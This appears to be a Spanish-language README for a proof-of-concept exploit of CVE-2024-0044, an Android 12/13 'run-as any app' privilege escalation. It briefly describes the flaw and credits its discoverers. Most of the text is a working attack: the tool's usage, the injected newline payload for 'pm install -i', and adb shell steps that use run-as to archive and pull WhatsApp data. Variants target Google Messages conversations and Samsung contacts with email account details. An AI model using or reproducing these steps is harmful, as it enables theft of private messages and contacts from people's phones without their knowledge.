
CVE-2024-0044: una vulnerabilidad de alta gravedad "run-as any app" que afecta a las versiones 12 y 13 de Android
CVE-2024-0044, identificada en la función createSessionInternal del archivo PackageInstallerService.java, es una vulnerabilidad de alta gravedad que afecta a las versiones de Android 12 y 13. Esta vulnerabilidad permite a un atacante realizar un ataque de "ejecución como cualquier aplicación", lo que conduce a una escalada local de privilegios sin requerir interacción del usuario. El problema surge debido a una validación de entrada incorrecta dentro de la función createSessionInternal. Un atacante puede explotar esto manipulando el proceso de creación de sesiones, obteniendo potencialmente acceso no autorizado a datos sensibles y realizando acciones no autorizadas en el dispositivo afectado.
El exploit fue descubierto por Meta security
La prueba de concepto fue resumida y compartida por Tiny hack
Los detalles sobre el parche de seguridad se pueden encontrar en Android security bulletin
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: ejecutar como cualquier aplicación @Pl4int3xt
options:
-h, --help muestra este mensaje de ayuda y sale
-P P nombre del paquete (predeterminado: None)
-A A ruta del archivo APK (predeterminado: None)
-P se usa para especificar el nombre del paquete objetivo al que deseas ejecutarte.
-A para especificar el archivo APK a enviar al dispositivo.
Ejecuta la herramienta:
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Se generará un archivo payload.txt similar a este:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success después del último comando.pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Crea un directorio temporal: mkdir /data/local/tmp/wa/
Crea un marcador de posición para un archivo tar: touch /data/local/tmp/wa/wa.tar
Establece permisos abiertos: chmod -R 0777 /data/local/tmp/wa/ para asegurar que cualquier usuario pueda leer, escribir y ejecutar dentro de este directorio.
Cambia el contexto de usuario: run-as victim para obtener los mismos permisos que el usuario "victim".
Archiva los datos de la aplicación objetivo: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, creando un tarball del directorio de datos de WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Puedes extraer los datos usando 7z o cualquier otra herramienta.
Puedes usar Whatsapp chat exporter para convertirlo a HTML.
Esto te permite obtener los datos de WhatsApp sin necesidad de acceso root en tu dispositivo.
Simplemente cambia el nombre del paquete de la siguiente manera:
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Downloads/F-Droid.apk
Sigue las instrucciones anteriores y después de extraer el archivo wa.tar, descomprímelo y abre las conversaciones en com.google.android.apps.messaging/databases/bugle_db usando sqlitebrowser o cualquier otra herramienta.
Probado en un dispositivo Samsung. Para otros dispositivos, verifica el nombre del paquete del proveedor de contactos.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Sigue las instrucciones anteriores y después de extraer el archivo wa.tar, descomprímelo y abre los contactos en com.samsung.android.providers.contacts/databases/contacts2.db usando sqlitebrowser o cualquier otra herramienta. El archivo de base de datos contiene toda la información de las cuentas de correo electrónico del usuario junto con la lista de contactos.